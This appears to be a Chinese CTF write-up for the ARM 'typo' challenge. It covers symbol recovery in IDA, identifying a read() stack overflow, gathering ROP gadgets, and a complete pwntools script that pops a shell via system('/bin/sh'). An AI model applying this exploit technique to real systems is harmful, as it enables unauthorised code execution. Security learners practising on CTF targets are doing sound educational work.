解题所涉知识点:
泄露或修改内存数据:
- 堆地址:
- 栈地址:
- libc地址:
- BSS段地址:
劫持程序执行流程:ARM_ROP
获得shell或flag:调用程序中的system
相关知识点:
IDA插件Rizzo
IDA的FLIRT工具的使用
ROPgadget的使用
IDA远程调试异架构程序
题目信息:
┌──(kali㉿kali)-[~/…/Pwn/BUU/ARM/jarvisoj_typo]
└─$ checksec --file=typo
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO No canary found NX enabled No PIE N/A N/A No Symbols N/A 0 0typo
┌──(kali㉿kali)-[~/…/Pwn/BUU/ARM/jarvisoj_typo]
└─$ file typo
typo: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=211877f58b5a0e8774b8a3a72c83890f8cd38e63, stripped
libc版本:
wp借鉴:ARM架构下的 buffer overflow 初探_arm架构下的buffer-CSDN博客
arm-pwn入门 丨 tw11ty’s Blog (tweety-blog.cn)
关于学习arm架构下的pwn的总结 - ZikH26 - 博客园 (cnblogs.com)
通过一道ARM PWN题引发的思考:jarvisOJ_typo_jarvisoj环境搭建-CSDN博客
arm-pwn 学习 · De4dCr0w’s Blog
信息收集
运行后分析程序行为:
在输入回车后就可以开始进行多次交互了!
核心伪代码分析:
由于没有符号表的存在所以只能先从start函数起步:
存在利用的的代码:
// positive sp value has been detected, the output may be wrong!
void __noreturn start(int a1, int a2, int a3, int a4, ...)
{
int v4; // r0
va_list va; // [sp+0h] [bp+0h] BYREF
va_start(va, a4);
v4 = (sub_9EBC)(sub_8F00, va, sub_A5EC, sub_A68C, a1, va);
(sub_F0E0)(v4);
}
发现这个结构就类似于__libc_start_main()函数,我们就可以由此找到main函数了,或者根据前面的字符串来寻找主函数的位置!
找到主函数:
int __fastcall sub_8F00(int a1, int a2)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
v17 = 0;
v16 = 0;
sub_11D04(off_A1538, 0, 2, 0, a2, a1);
sub_11D04(off_A1534[0], 0, 2, 0, v9, v10);
v2 = sub_22240(1, "Let's Do Some Typing Exercise~\nPress Enter to get start;\nInput ~ if you want to quit\n", 'V');
if ( sub_12170(v2) != 10 )
sub_FBD4(-1);
sub_22240(1, "------Begin------", 17);
v3 = sub_214CC(0);
v4 = sub_FE28(v3);
v15 = sub_21474(v4);
do
{
++v17;
v14 = sub_10568() % 4504;
sub_11338("\n%s\n", &aAbandon[20 * v14]);
v5 = sub_8D24(&aAbandon[20 * v14]);
v13 = v5;
if ( !v5 )
{
v5 = sub_11AC0("E.r.r.o.r.");
++v16;
}
}
while ( v13 != 2 );
v12 = sub_21474(v5);
v6 = sub_9428(v12 - v15);
v11 = sub_9770(v6, HIDWORD(v6), 0, 1093567616);
sub_22240(1, "------END------", 15);
sub_11F80(10);
sub_8DF0(v17 - 1, v16, v11, HIDWORD(v11));
sub_11AC0("Bye");
return v7;
}
我们可以根据动态调试分析出哪些函数是输入,当我们调试时如果程序陷入等待的话就代表这个函数是一个输入函数!
使用IDA的符号表恢复技术:
IDA的Rizzo插件:
项目:
- Reverier-Xu/Rizzo-IDA:移植到 IDA 7.4+ 的 Rizzo 插件 — Reverier-Xu/Rizzo-IDA: Rizzo plugin ported to IDA 7.4+ (github.com)
- fireundubh/IDA7-Rizzo: Rizzo plugin by devttys0, ported to IDA 7 (github.com)
- 魔改 Rizzo 恢复二进制符号 - Byaidu - 博客园 (cnblogs.com)
- 再谈逆向工程中的函数识别 - 简书 (jianshu.com)
这里又很多arm文件:[原创] CTF 中 ARM & AArch64 架构下的 Pwn-Pwn-看雪-安全社区|安全招聘|kanxue.com
恢复符号表的尝试Rizzo:
使用Rizzo匹配armlibc2.39的符号表匹配出的函数比较多!
发现armlibc2.26匹配的也比较多!
IDA的FLIRT功能:
存储的libc的sig文件:
sig-database/ubuntu/libc6/10.10 (maverick) at master · push0ebp/sig-database (github.com)
教程:
SDK工具下载:
制作sig文件:
ELF64文件逆向分析知识—[2]制作静态库SIG_flair制作sigs-CSDN博客
IDA 高级功能使用 之 制作signature —— 识别库函数 - thinkycx.me
IDA的FLIRT恢复符号表,恢复的效果不明显:
发现虽然都又符号被恢复但是sytem函数并未被恢复,所以最后直接使用了这里的idb:ctf-challenges/pwn/arm/jarvisOJ_typo/typo.idb at master · ctf-wiki/ctf-challenges (github.com)
导出riz文件,恢复符号表,所以符号表不要期望恢复太多!
加上函数分析:
sub_22240(1, "Let's Do Some Typing Exercise~\nPress Enter to get start;\nInput ~ if you want to quit\n", 'V', v2);
...
sub_22240(1, "------Begin------", 0x11, 0xA);
这两个函数就是输出函数然后三个参数和write函数很匹配!
进入内部去看:
void __fastcall sub_22240(void *a1, void *a2, void *a3, void *a4)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
if ( dword_A3094 )
{
v7 = sub_23ED8();
v8 = linux_eabi_syscall(4, a1, a2, a3, a4, v4, v5, v6);
sub_23F98(v7);
if ( v8 >= 0xFFFFF000 )
goto LABEL_5;
}
else if ( linux_eabi_syscall(4, a1, a2, a3, a4, v4, v5, v6) >= 0xFFFFF000 )
{
LABEL_5:
JUMPOUT(0xFFFF0FE0);
}
}
也可以发现linux_eabi_syscall这个函数,代表这个函数属于系统调用:linux_eabi_syscall系统调用编号表 - 简书 (jianshu.com)
更加确定了它write的身份!
...
sub_11338("\n%s\n", &aAbandon[20 * v12]);
...
发现这个参数里面又格式化字符串,大概率就是printf函数了!
int sub_11338(const char *a1, ...)
{
va_list varg_r1; // [sp+14h] [bp-Ch] BYREF
va_start(varg_r1, a1);
return sub_32F84(off_A1534[0], a1, varg_r1);
}
这个函数的结构就是printf了!
然后我将这些猜测的数据丢给gpt后几乎就生成了正确的函数名:
这是c语言伪代码,你可以大胆的修改为合适的函数名不要怕错误,我只是参考一下:
int __cdecl main(int argc, const char **argv, const char **envp)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
idx = 0;
v15 = 0;
sub_11D04(stdin, 0, 2, 0);
sub_11D04(stdio[0], 0, 2, 0);
write(1, "Let's Do Some Typing Exercise~\nPress Enter to get start;\nInput ~ if you want to quit\n", 'V', v3);
if ( sub_12170() != '\n' )
sub_FBD4(-1);
write(1, "------Begin------", 0x11, '\n');
v4 = time_0(0);
sub_FE28(v4);
v5 = sub_21474();
v14 = v5;
do
{
++idx;
num = setutxent_0(v5, v6) % 0x1198;
printf("\n%s\n", &aAbandon[20 * num]);
v5 = sub_8D24(&aAbandon[20 * num]);
v12 = v5;
if ( !v5 )
{
v5 = sub_11AC0("E.r.r.o.r.");
++v15;
}
}
while ( v12 != 2 );
v11 = sub_21474();
v7 = sub_9428(v11 - v14);
v10 = sub_9770(v7, HIDWORD(v7), 0, 1093567616);
write(1, "------END------", 0xF, v10);
sub_11F80(10);
sub_8DF0(idx - 1, v15, v10, SHIDWORD(v10));
sub_11AC0("Bye");
return v8;
}
GPT的回答:
好的,我会根据你的代码提供一些合理的命名修改,让代码更加易读和清晰。以下是修改后的版本:
#include <stdio.h>
#include <time.h>
#include <unistd.h>
// 假设这些是你在程序其他地方定义的函数
void initialize_stream(FILE *stream, int arg1, int arg2, int arg3);
void error_exit(int code);
int get_input();
void process_time(time_t time_value);
int generate_random_value();
int calculate_result(const char *input);
int display_error_message(const char *message);
int compute_difference(int value);
float calculate_score(int diff, int arg1, int arg2, float base);
void display_statistics(int completed, int errors, float score);
int main(int argc, const char **argv, const char **envp)
{
int idx = 0;
int error_count = 0;
int random_value, start_time, end_time;
int result, time_diff;
float score;
initialize_stream(stdin, 0, 2, 0);
initialize_stream(stdout, 0, 2, 0);
write(1, "Let's Do Some Typing Exercise~\nPress Enter to get started;\nInput ~ if you want to quit\n", 81);
if (get_input() != '\n')
error_exit(-1);
write(1, "------Begin------\n", 17);
start_time = time(0);
process_time(start_time);
random_value = generate_random_value();
int initial_random_value = random_value;
do
{
idx++;
int num = random_value % 4504; // 假设0x1198等于十进制的4504
printf("\n%s\n", &aAbandon[20 * num]);
result = calculate_result(&aAbandon[20 * num]);
if (!result)
{
result = display_error_message("E.r.r.o.r.");
error_count++;
}
}
while (result != 2);
end_time = generate_random_value();
time_diff = compute_difference(end_time - initial_random_value);
score = calculate_score(time_diff, 0, 0, 1093567616.0);
write(1, "------END------\n", 15);
sleep(10); // 模拟等待
display_statistics(idx - 1, error_count, score);
display_error_message("Bye");
return 0;
}
根据GPT生成的代码继续验证!如果手动去找漏洞的话还是比较复杂的所以直接手动实现!
直接把函数丢给gpt让它猜代码,这个函数大胆猜测一下这是什么函数他是C语言库里的:
找到目标函数漏洞:
int __fastcall calculate_result(unsigned __int8 *randstr)
{
unsigned int len; // r0
int len_1; // r4
int input[28]; // [sp+Ch] [bp-70h] BYREF
memset_0(input, 0, 0x64u);
read(0, input, &unk_200, input); // 存在溢出
len = strlen_0(randstr); // a1是传入进来的字符串
if ( !memcmp(randstr, input, len) ) // 字符串对比
{
len_1 = strlen_0(randstr);
if ( len_1 == strlen_0(input) - 1 )
return 1;
}
if ( LOBYTE(input[0]) == '~' ) // 如果
return 2;
return 0;
}
存在溢出!
分析:
通过IDA动态调试锁定输入函数并且识别出read函数存在溢出漏洞!
.text:00008D4C SUB R3, R11, #-input
.text:00008D50 MOV R0, #0
.text:00008D54 MOV R1, R3
.text:00008D58 MOV R2, #0x200
.text:00008D5C BL read
开始动态调试确定溢出长度!成功确定出溢出长度为112.
Gadgets获取:
获取gadgets:
┌──(kali㉿kali)-[~/…/Pwn/BUU/ARM/jarvisoj_typo]
└─$ ROPgadget --binary typo --only "pop"
Gadgets information
============================================================
0x00008d1c : pop {fp, pc}
0x00020904 : pop {r0, r4, pc}
0x00068bec : pop {r1, pc}
0x00008160 : pop {r3, pc}
0x0000ab0c : pop {r3, r4, r5, pc}
0x0000a958 : pop {r3, r4, r5, r6, r7, pc}
0x00008a3c : pop {r3, r4, r5, r6, r7, r8, fp, pc}
0x0000a678 : pop {r3, r4, r5, r6, r7, r8, sb, pc}
0x00008520 : pop {r3, r4, r5, r6, r7, r8, sb, sl, fp, pc}
0x00068c68 : pop {r3, r4, r5, r6, r7, r8, sl, pc}
0x00014a70 : pop {r3, r4, r7, pc}
0x00008de8 : pop {r4, fp, pc}
0x000083b0 : pop {r4, pc}
0x00008eec : pop {r4, r5, fp, pc}
0x00009284 : pop {r4, r5, pc}
0x000242e0 : pop {r4, r5, r6, fp, pc}
0x000095b8 : pop {r4, r5, r6, pc}
0x000212ec : pop {r4, r5, r6, r7, fp, pc}
0x000082e8 : pop {r4, r5, r6, r7, pc}
0x00043110 : pop {r4, r5, r6, r7, r8, fp, pc}
0x00011648 : pop {r4, r5, r6, r7, r8, pc}
0x00048e9c : pop {r4, r5, r6, r7, r8, sb, fp, pc}
0x0000a5a0 : pop {r4, r5, r6, r7, r8, sb, pc}
0x0000870c : pop {r4, r5, r6, r7, r8, sb, sl, fp, pc}
0x00011c24 : pop {r4, r5, r6, r7, r8, sb, sl, pc}
0x000553cc : pop {r4, r5, r6, r7, r8, sl, pc}
0x00023ed4 : pop {r4, r5, r7, pc}
0x00023dbc : pop {r4, r7, pc}
0x00014068 : pop {r7, pc}
Unique gadgets found: 29
发现这个gadget正好可以传参和调用system函数:0x00020904 : pop {r0, r4, pc}
获取/bin/sh
┌──(kali㉿kali)-[~/…/Pwn/BUU/ARM/jarvisoj_typo]
└─$ ROPgadget --binary typo --string "bin/sh"
Strings information
============================================================
0x0006c385 : bin/sh
这个函数是system:
int __fastcall sub_110B4(int a1)
{
if ( a1 )
return sub_10BA8(a1);
else
return sub_10BA8("exit 0") == 0;
}
地址是:
.text:000110B4 00 00 50 E3 CMP R0, #0
.text:000110B8 00 00 00 0A BEQ loc_110C0
.text:000110B8
.text:000110BC B9 FE FF EA B sub_10BA8
攻击思路总结
通过IDA动态调试和符号表恢复找到目标函数,存在read函数溢出
再通过pwndbg来计算栈溢出的长度是112
再通过RopGadgets找到gadget,用来传参和调用函数
由于是静态程序就一定会存在很多字符串和system函数找到地址然后就是利用了!
脚本:
import argparse
from pwn import *
from LibcSearcher import *
# Parse command-line arguments
parser = argparse.ArgumentParser(description='Exploit script.')
parser.add_argument('-r', action='store_true', help='Run exploit remotely.')
parser.add_argument('-d', action='store_true', help='Run exploit in debug mode.')
args = parser.parse_args()
pwnfile = './typo'
elf = ELF(pwnfile)
context(log_level='debug', arch=elf.arch, os='linux')
is_remote = args.r
is_debug = args.d
if is_remote:
sh = remote('node5.buuoj.cn', 26456)
else:
if is_debug:
sh = process(["qemu-arm", "-g", "1234", pwnfile])
else:
sh = process(["qemu-arm", pwnfile])
def mygdb():
if not is_remote and is_debug:
gdb.attach(sh, """target remote localhost:1234
b *0x8DE8
""") # brva 0xe93 b *0x4008c0
mygdb()
offset=112
pop_r0_r4_pc_addr=0x00020904
bin_sh_addr=0x0006c384
sys_addr=0x00010BA8
sh.send('\n')
payload=offset*b'a'+p32(pop_r0_r4_pc_addr)+p32(bin_sh_addr)+p32(0)+p32(sys_addr)
sh.sendline(payload)
sh.interactive()